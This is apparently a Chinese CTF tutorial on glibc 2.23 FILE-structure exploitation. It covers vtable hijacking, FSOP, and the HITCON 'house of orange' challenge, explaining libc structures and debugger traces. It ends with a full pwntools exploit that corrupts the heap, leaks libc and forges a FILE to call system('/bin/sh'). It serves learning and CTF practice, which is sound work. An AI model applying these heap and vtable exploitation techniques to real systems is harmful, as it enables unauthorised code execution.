IO_FILE-2.23劫持vtable、FSOP、house of orange

这个文章的利用争对2.23的版本,主要是在初学io之后学习一下老版本的简单的io利用,因为2.24就加入了vtable检查机制无法再构造vtable。

IO_FILE-2.23劫持vtable、FSOP、house of orange

vtable劫持原理

首先需要知道_IO_FILE_plus这个结构体位于/libio/libioP.h,如下所示

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

_IO_FILE定义如下,位于/libio/libio.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

vtable对应的结构体_IO_jump_t位于/libio/libioP.h,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

试想一下如果可以控制FILE结构体,并对vtable指针进行修改,将vtable劫持到可控内存并在该内存中伪造好vtable,最后通过调用相应的IO函数即可达到劫持程序执行流的目的。前面调试过IO函数所以还是挺好理解此利用方法的

FSOP

通过前一个文章可知所有文件结构体会使用_IO_list_all来进行管理,通过_chain字段进行链接

1
2
3
4
5
6
pwndbg> p _IO_list_all->file._chain
$5 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p _IO_list_all->file._chain._chain
$6 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> p _IO_list_all->file._chain._chain._chain
$7 = (struct _IO_FILE *) 0x0

所以FSOP的利用主要是将_IO_list_all劫持到可控地方,但是这样只是伪造了数据,还需要选择某种方式进行触发,在FSOP中选择的触发方法是通过调用 _IO_flush_all_lockp这个函数,这个函数会刷新 _IO_list_all 链表中所有项的文件流,文件在libio\genops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}

触发_IO_flush_all_lockp这个函数有以下几点方法

  • 执行abort函数
  • 执行exit函数
  • 程序从main函数返回时

首先可以看一下执行exit函数时的调用链

1
2
3
4
5
6
► f 0   0x7ffff7a89030 _IO_flush_all_lockp
f 1 0x7ffff7a8933a _IO_cleanup+26
f 2 0x7ffff7a46fab __run_exit_handlers+139
f 3 0x7ffff7a47055
f 4 0x555555555166
f 5 0x7ffff7a2d840 __libc_start_main+240

接下来是abort函数时的调用链,可以利用double free来触发

1
2
3
4
5
6
7
8
► f 0   0x7ffff7a89030 _IO_flush_all_lockp
f 1 0x7ffff7a43fcd abort+253
f 2 0x7ffff7a847fa
f 3 0x7ffff7a8d38a _int_free+1578
f 4 0x7ffff7a8d38a _int_free+1578
f 5 0x7ffff7a9158c free+76
f 6 0x5555555551a2 main+57
f 7 0x7ffff7a2d840 __libc_start_main+240

接下来是程序从main函数返回时,可以看到call exit

1
2
3
4
5
6
7
8
9
10
11
0x555555555129 <main>                     endbr64
0x55555555512d <main+4> push rbp
0x55555555512e <main+5> mov rbp, rsp
0x555555555131 <main+8> mov dword ptr [rbp - 4], edi
0x555555555134 <main+11> mov qword ptr [rbp - 0x10], rsi
0x555555555138 <main+15> mov eax, 0
0x55555555513d <main+20> pop rbp
0x55555555513e <main+21> ret

0x7ffff7a2d840 <__libc_start_main+240> mov edi, eax
0x7ffff7a2d842 <__libc_start_main+242> call exit <exit>

现在梳理一下完整的FSOP利用链,需要拿到libc基址然后算出_IO_list_all,接着利用漏洞将_IO_list_all指向伪造的结构体,然后触发_IO_flush_all_lockp,触发这个的最终目的是调用_IO_OVERFLOW,想要调用_IO_OVERFLOW还需要绕过一些限制,如下

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}

需要使得fp->_mode <= 0并且fp->_IO_write_ptr > fp->_IO_write_base,最终就可以劫持程序执行流

这里用ctf wiki的程序示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

*(long long*)((long long)ptr+0x100+24)=0x41414141;

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

满足fp->_mode <= 0并且fp->_IO_write_ptr > fp->_IO_write_base

最终程序被成功执行到0x41414141

house of orange

这里拿hitcon-house of orange题目来理解2.23对io的攻击,漏洞点发生在upgrade的时候,可以重新生成大小造成堆溢出

我们需要先拿到libc,分析了一下发现并没有delete函数,不能直接对堆块进行释放

因为可以溢出到top_chunk这里,而top_chunk可以进入unsorted bin,前提是其它的bins都不能满足分配的要求,此时会试图利用top_chunk进行分配,假如top_chunk也不能分配则调用如下的sysmalloc来进行分配

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);

堆有mmap和brk分配,malloc小于128k的内存(mp_.mmap_threshold),使用brk分配内存

1
2
3
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))

同时还需要满足以下条件

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中,我们就可以获得libc地址

6

在这题中0x0000000000020fa0 + 0x55555575a060 = 0x55555577b000满足对齐到内存页(4kb),但是我们最大只能创建0x1000大小的堆块,所以我们可以将top_chunk的size改为0x0000000000000fa0 + 0x55555575a060 = 0x55555575b000也对齐到内存页

然后malloc 0x10000即可将top_chunk放入unsortedbin中,接着再申请一个large bin因为它的fd_nextsize和bk_nextsize中指向自身。这样就可以拿到libc和heap_addr,拿到libc之后接下来就是FSOP的利用

现在需要控制_IO_list_all到可控的地址,unsortedbin中控制地址的方法有unsorted bin attack,将bk设置为_IO_list_all - 0x10

这样的话_IO_list_all的地址就会被改成main_arena + 0x58(具体原因去看unsorted bin attack)这里不多说

这样之后main_arena + 0x58我们并不能完全控制,所以看一下_chain字段这里我们可不可以控制,假如可以控制的话就可以把下一个IO_file_plus给申请到之前泄露的堆上

看一下_chain字段在IO_file_plus中的的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

从上面看到是0x68,所以可得0x58 + 0x68 = 0xc0,main_arena + 0xc0是small bin的头地址

我们可以将unsortedbin的那个size改为0x60,当调用malloc的时候,由于0x60是small bin的范围,会被放入small bin中所以那个unsortedbin的堆块的地址就会变成small bin的头地址,所以main_arena + 0xc0就会被改成unsortedbin那个堆块的地址

现在我们已经控制了IO_file_plus,我们接下来就可以伪造iofile了,要满足fp->_mode <= 0并且fp->_IO_write_ptr > fp->_IO_write_base,给出如下fake io

1
2
p2 = p64(system_addr) * 4 + b'\x00' * 0x400
p2 += b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(io_list_all - 0x10) + p64(0) + p64(0x1) + b'\x00' * 0xa8 + p64(heap_addr)

/bin/sh\x00被放到了IO_file_plus的头,vtable则被劫持到了heap_addr,在heap_addr那里布置system_addr,然后触发_IO_flush_all_lockp即可getshell,看到这里还蒙的话需要再去仔细学学io的调用链,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Your choice : '

def add(size, name, price):
r.sendlineafter(menu, '1')
r.sendlineafter('Length of name :', str(size))
r.sendafter('Name :', name)
r.sendlineafter('Price of Orange:', str(price))
r.sendlineafter('Color of Orange:', '1')

def show():
r.sendlineafter(menu, '2')

def edit(size, name, price):
r.sendlineafter(menu, '3')
r.sendlineafter('Length of name :', str(size))
r.sendafter('Name:', name)
r.sendlineafter('Price of Orange: ',str(price))
r.sendlineafter('Color of Orange: ','1')

add(0x10, 'aaaaa', 0x20)

p1 = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0xfa1)
edit(0xff, p1, 0x20)

add(0x1000, 'aaaaa', 0x20)
add(0x400, 'a' * 8, 0x20)
show()
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1640 - 0x10

li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))

io_list_all = libc_base + libc.sym["_IO_list_all"]
li('io_list_all = ' + hex(io_list_all))

edit(0x10, 'a' * 0x10, 0x20)
show()
r.recvuntil('a' * 0x10)
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))

p2 = p64(system_addr) * 4 + b'\x00' * 0x400
p2 += b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(io_list_all - 0x10) + p64(0) + p64(0x1) + b'\x00' * 0xa8 + p64(heap_addr)

edit(len(p2), p2, 0x20)
r.sendlineafter(menu, '1')

r.interactive()